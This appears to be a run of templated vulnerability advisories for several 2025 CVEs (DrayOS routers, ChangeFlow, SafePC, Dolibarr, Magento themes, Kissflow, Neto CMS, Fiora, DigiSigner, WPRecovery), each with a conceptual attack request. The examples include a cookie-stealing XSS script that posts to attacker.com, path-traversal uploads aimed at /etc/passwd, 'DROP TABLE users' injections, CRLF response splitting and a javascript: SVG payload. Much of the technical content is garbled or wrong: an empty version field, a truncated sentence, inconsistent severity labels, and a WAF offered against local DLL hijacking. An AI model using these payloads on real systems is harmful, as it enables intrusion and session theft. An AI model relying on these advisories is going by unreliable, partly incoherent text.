Author: Ameeba

Overview

In the evolving landscape of cybersecurity threats, a new vulnerability has surfaced that could potentially compromise your data and system integrity. This vulnerability, identified as CVE-2025-10547, is present in the HTTP CGI request arguments processing component of Vigor Routers running DrayOS. The vulnerability can allow an attacker to execute remote code on the appliance through memory corruption. Vigor Routers are widely used for their reliable performance and enhanced security features, which makes this vulnerability particularly threatening, affecting a large number of users worldwide. The severity of this vulnerability emphasizes the crucial need for effective cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-10547
Severity: High (CVSS score 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Vigor Router | DrayOS versions

How the Exploit Works

The exploit leverages an uninitialized variable in the HTTP CGI request arguments processing component of the Vigor Router. An attacker can craft a malicious HTTP request that can manipulate this variable, leading to memory corruption. Through this memory corruption, an attacker can execute arbitrary code remotely on the router. Such a successful exploit can provide the attacker with unauthorized access to the device, enabling them to compromise the system or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that could be used to exploit the vulnerability.

POST /cgi-bin/process.cgi HTTP/1.1
Host: target-router.com
Content-Type: application/x-www-form-urlencoded
arg1=value1&arg2=value2&malicious_arg=uninitialized_variable

In this example, the `malicious_arg` is the uninitialized variable that the attacker can manipulate to cause memory corruption and execute remote code.

Mitigation

Users are strongly recommended to apply the vendor patch as soon as it is available to rectify this vulnerability. In the meanwhile, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These measures can help detect and block malicious traffic that attempts to exploit this vulnerability. However, they are not a permanent solution and should be used in conjunction with other security practices.

Overview

The Common Vulnerabilities and Exposures (CVE) list has recently been updated with a high-severity security issue, CVE-2025-11221. This vulnerability, classified as a Pathname Traversal and Unrestricted File Upload vulnerability, affects GTONE ChangeFlow software. It allows malicious actors to exploit an improperly constrained file upload mechanism and access restricted directories. The potential impact of this vulnerability is significant as it could lead to a system compromise or data leakage, making it a key concern for organizations using GTONE ChangeFlow.

Vulnerability Summary

CVE ID: CVE-2025-11221
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GTONE ChangeFlow | All versions through v9.0.1.1

How the Exploit Works

The vulnerability stems from ChangeFlow’s insufficient security mechanisms in handling file uploads and directory access. An attacker can exploit this by uploading a file with a malicious payload and manipulating the file path. This allows them to traverse the file system and access restricted directories. Given the lack of proper Access Control Lists (ACLs), the attacker can execute the uploaded file leading to potential system compromise or leakage of sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example shows a HTTP POST request where an attacker uploads a malicious file and modifies the file path to access restricted directories.

POST /uploadfile HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="../../etc/passwd"
Content-Type: text/plain
{ "malicious_payload": "..." }
----WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, the attacker is attempting to overwrite the “/etc/passwd” file, a critical system file in Unix-based systems, with their malicious payload.
The mitigation strategy for this vulnerability involves applying the patch provided by the vendor or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. It’s highly recommended to apply the patch as soon as it’s available to avoid potential system compromise or data leakage.

Overview

In this blog post, we delve into a critical security vulnerability, identified as CVE-2025-11020, that affects MarkAny SafePC Enterprise. This serious flaw, with a CVSS severity score of 8.8, could allow an attacker to obtain sensitive server information and possibly exploit an unrestricted file upload vulnerability. It’s crucial to understand this vulnerability because it affects an extensive range of MarkAny SafePC Enterprise versions on both Windows and Linux platforms, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-11020
Severity: Critical, CVSS 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

MarkAny SafePC Enterprise (Windows) | V7.0.* (V7.0.YYYY.MM.DD) before V7.0.1, and V5.*.*
MarkAny SafePC Enterprise (Linux) | V7.0.* (V7.0.YYYY.MM.DD) before V7.0.1, and V5.*.*

How the Exploit Works

The vulnerability lies in the Path Traversal and the unrestricted file upload feature of the MarkAny SafePC Enterprise software. An attacker could exploit this flaw by sending a specifically crafted request to the server. This request would manipulate the file path to navigate out of the intended directory, typically leading to unauthorized access to files.
The attacker can then use this unauthorized access to conduct an SQL Injection attack. Through this method, they can manipulate the software’s SQL queries, potentially gaining unauthorized access to sensitive data within the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this HTTP request, the attacker is using a “..” sequence to navigate the directory structure and access unauthorized files (Path Traversal). They are then injecting a malicious SQL statement (SQL Injection) through the unrestricted file upload feature:

POST /upload_file/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="../etc/passwd"
Content-Type: text/plain
'; DROP TABLE users; --
--boundary--

Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-provided patch. If that’s not immediately possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It’s also recommended to restrict file uploads to only trusted and authenticated users and to validate all inputs rigorously to prevent SQL Injection.

Overview

The cybersecurity landscape is constantly evolving, with threats becoming increasingly sophisticated. Among these threats, remote code execution (RCE) vulnerabilities pose a particularly high risk. This post delves into one such vulnerability, designated as CVE-2025-56588, affecting Dolibarr ERP & CRM v21.0.1. This vulnerability was discovered in the User module configuration via the computed field parameter, and potentially allows an attacker to execute arbitrary code remotely. This can lead to system compromise or data leakage, highlighting the critical importance of understanding and mitigating this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-56588
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Dolibarr ERP & CRM | v21.0.1

How the Exploit Works

This vulnerability originates from an insecure handling of user inputs in the User module configuration within Dolibarr ERP & CRM v21.0.1. By manipulating the computed field parameter, an attacker can inject malicious code, which is then executed within the context of the application. This allows the attacker to perform actions as if they were the application itself, potentially leading to a complete system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The attacker crafts a malicious payload and inserts it into the computed field parameter in an HTTP request to the vulnerable endpoint.

POST /user/module/configuration HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "computed_field": "malicious_code_here" }

In this example, `malicious_code_here` represents the attacker’s crafted code, which will be executed when processed by the server.
It’s important to note that this is a simplified representation. In reality, exploiting this vulnerability would likely require a more complex payload and a thorough understanding of the application’s internals.

Mitigation

The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor. If this is not immediately feasible, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. These tools can detect and block attempts to exploit this vulnerability, minimizing potential damage.
In the long-term, organizations should prioritize keeping their software up-to-date and regularly scanning for vulnerabilities to ensure their systems remain secure.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability labeled as CVE-2025-60991. This vulnerability pertains specifically to Codazon Magento Themes, ranging from versions v1.1.0.0 to v2.4.7. It is a reflected cross-site scripting (XSS) flaw which, if exploited, grants attackers the ability to execute arbitrary JavaScript within the context of a user’s browser. This vulnerability is a serious issue due to the potential for system compromise or data leakage, and, therefore, requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-60991
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Codazon Magento Themes | v1.1.0.0 to v2.4.7

How the Exploit Works

The vulnerability works by exploiting the ‘cat’ parameter in Codazon Magento Themes. Attackers can craft a specific payload, injecting it into the ‘cat’ parameter. When a user interacts with this manipulated parameter, the payload activates, causing the user’s browser to execute the arbitrary JavaScript code. This execution occurs within the user’s browser context, bypassing default security measures and potentially leading to system compromise or data leakage.

Conceptual Example Code

A potential exploitation of this vulnerability might look like this:

GET /index.php?cat=<script>malicious_javascript_here</script> HTTP/1.1
Host: vulnerable-site.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

Here, `` is the injected malicious JavaScript code, substituted for an actual exploit.

Mitigation

To mitigate this vulnerability, it is highly recommended to apply the vendor’s patch. In the absence of a patch, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching software is fundamental to maintaining robust cybersecurity. Regular security audits can also significantly reduce the risk of successful exploitation of such vulnerabilities.

Overview

In the world of cybersecurity, vulnerabilities are an inevitable part of any software system. One such vulnerability has been identified in the Kissflow Work Platform affecting a range of versions of the Kissflow Application. CVE-2025-57393 is a stored cross-site scripting (XSS) vulnerability that allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Given the popularity and wide usage of the Kissflow platform, this vulnerability could potentially affect a large number of organizations globally, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57393
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Kissflow Work Platform Kissflow Application | 7337 Account v2.0 to v4.2

How the Exploit Works

The vulnerability arises from the application’s failure to adequately sanitize user-supplied input. An attacker can take advantage of this flaw by crafting a malicious payload containing JavaScript code. This payload is then submitted to the application, where it is stored and later rendered in the user’s browser. When an unsuspecting user visits the affected page, the malicious script is executed, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, the attacker is submitting a malicious payload via a POST request to a vulnerable endpoint on the target server.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>new Image().src='http://attacker.com/collect.php?c='+document.cookie;</script>" }

In this example, the malicious payload is a script that sends the user’s cookies to the attacker’s server. This is just an example; the actual payload could be any script designed to exploit the vulnerability.

Prevention and Mitigation

Users of the Kissflow Work Platform are advised to apply the vendor patch immediately to mitigate this vulnerability. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can help detect and block malicious payloads, reducing the risk of exploitation. However, these are just temporary measures, and updating the software remains the most effective way to secure your systems against this vulnerability.

Overview

The Common Vulnerabilities and Exposures (CVE) program has recently identified a critical security vulnerability, CVE-2025-28357, in the Neto CMS versions 6.313.0 through 6.314.0. The vulnerability is a CRLF injection flaw, a type of vulnerability that allows attackers to manipulate web applications by injecting a malicious payload into an HTTP request. This vulnerability is particularly significant due to its high CVSS Severity Score of 8.8, indicating it poses a high risk to affected systems.
This vulnerability affects a wide range of businesses and organizations using the affected versions of Neto CMS, and potentially compromises system security or leads to data leakage. In this post, we will provide a comprehensive overview of this vulnerability, including its specifics, how it can be exploited, and guidance on mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28357
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Neto CMS | 6.313.0 to 6.314.0

How the Exploit Works

A CRLF injection vulnerability exploits the way web servers process HTTP headers. By inserting unexpected carriage return line feed (CRLF) sequences into an HTTP request, an attacker can manipulate the server’s response, leading to potential data leakage or direct execution of arbitrary code on the server.
In the case of CVE-2025-28357, the flaw resides in the affected versions of Neto CMS where it insufficiently sanitizes user-supplied inputs. This allows an attacker to inject malicious payloads into crafted HTTP requests, which then get executed or processed by the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. In this example, the attacker injects a malicious payload into an HTTP request sent to a vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "data": "data\r\nContent-Length: 0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<script>malicious code</script>" }

Mitigation Guidance

To mitigate the impact of this vulnerability, users of affected Neto CMS versions should apply the patch provided by the vendor as soon as possible. In situations where applying the patch is not immediately possible due to operational or business constraints, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation. These measures can detect and prevent the specific malicious HTTP requests that exploit this vulnerability.
However, these are only temporary measures and cannot replace the comprehensive security provided by applying the official patch. Therefore, it is strongly recommended to apply the patch as soon as it is feasible.

Overview

This blog post discusses the details of a serious vulnerability, CVE-2025-56515, identified in the Fiora Chat Application version 1.0.0. The flaw lies within the user avatar upload functionality, which allows for the upload and storage of malicious SVG files. This vulnerability is particularly critical as it can lead to the execution of arbitrary JavaScript, enabling attackers to steal user sessions and cookies, and perform unauthorized actions on behalf of users viewing affected profiles. This poses a significant threat to both users and organizations, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56515
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Fiora Chat Application | 1.0.0

How the Exploit Works

The vulnerability arises from the application’s failure to validate SVG file content during the user avatar upload process. Attackers can exploit this flaw by embedding foreignObject elements containing iframe tags and JavaScript event handlers (onmouseover) into SVG files. These malicious files are then uploaded and stored within the application. When these SVG files are rendered, they execute arbitrary JavaScript which can lead to unauthorized actions being performed, session theft, and cookie theft.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample of a crafted SVG file containing malicious JavaScript:

<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="javascript:alert(document.cookie)"></iframe>
</body>
</foreignObject>
</svg>

In this example, when the SVG file is rendered by the Fiora Chat Application, it would execute the JavaScript contained within the iframe, which in this case would display an alert with the user’s cookies.

Mitigation Guidance

Users of Fiora Chat Application 1.0.0 are strongly recommended to apply the vendor’s patch to mitigate this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) is recommended as a temporary mitigation measure until the patch can be applied.

Overview

The CVE-2025-59684 is a critical security vulnerability that affects DigiSign DigiSigner ONE version 1.0.4.60. It was discovered that this software version has a loophole that allows DLL Hijacking. This vulnerability is crucial as it can lead to potential system compromise or data leakage. Users and organizations employing DigiSign DigiSigner ONE 1.0.4.60 in their operations need to be aware of the risks associated with this vulnerability and handle it with the urgency it deserves.

Vulnerability Summary

CVE ID: CVE-2025-59684
Severity: Critical (CVSS score 8.8)
Attack Vector: Local
Privileges Required: High
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DigiSign DigiSigner ONE | 1.0.4.60

How the Exploit Works

The vulnerability stems from DigiSign DigiSigner ONE’s insecure loading of Dynamic-Link Libraries (DLLs). An attacker can exploit this vulnerability by tricking a user into opening a file from a directory that also contains a malicious DLL. Once the user opens the file, the software will load the malicious DLL, allowing the attacker to execute arbitrary code, compromising the user’s system or possibly leading to data leakage.

Conceptual Example Code

A conceptual example of exploiting this vulnerability could involve an attacker placing a malicious DLL in the same directory as a file that the victim is likely to open with DigiSign DigiSigner ONE. The code within the malicious DLL could look something like this:

using System;
namespace MyMaliciousDll
{
public class Exploit
{
public static void Main()
{
// Arbitrary code to be executed
Console.WriteLine("System compromised!");
}
}
}

When the user opens a file from this directory with DigiSign DigiSigner ONE, the software will inadvertently load the malicious DLL, and the attacker’s code will be executed.
To prevent this type of attack, users are advised to apply the vendor patch as soon as possible. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy.

Overview

The CVE-2025-10726 is a serious cybersecurity vulnerability that affects the WPRecovery plugin for WordPress, which is widely used across many websites for data recovery. The flaw opens the door for unauthenticated attackers to exploit SQL injection vulnerabilities present in the system. This vulnerability not only exposes sensitive information, but also allows attackers to manipulate server files, leading to potential system compromise or data leakage. It is crucial for organizations and individuals using this plugin to understand the risk posed by this vulnerability and take immediate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-10726
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

WPRecovery Plugin for WordPress | Up to and including 2.0

How the Exploit Works

The vulnerability arises due to insufficient escaping on the user supplied ‘data[id]’ parameter and lack of sufficient preparation on the existing SQL query in the WPRecovery plugin for WordPress. Unauthenticated attackers can exploit this flaw to append additional SQL queries into already existing queries. As the result of this SQL injection is passed directly to PHP’s unlink() function, attackers can delete arbitrary files on the server by injecting file paths through the SQL query.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

POST /wp_recovery/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "data[id]": "1; DROP TABLE users; --" }

In this example, the attacker is using a classic SQL injection attack to drop the “users” table from the database.

Mitigation

To remediate this vulnerability, users of the affected versions of the WPRecovery Plugin for WordPress should apply the vendor patch as soon as it becomes available. As a temporary mitigation, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activities.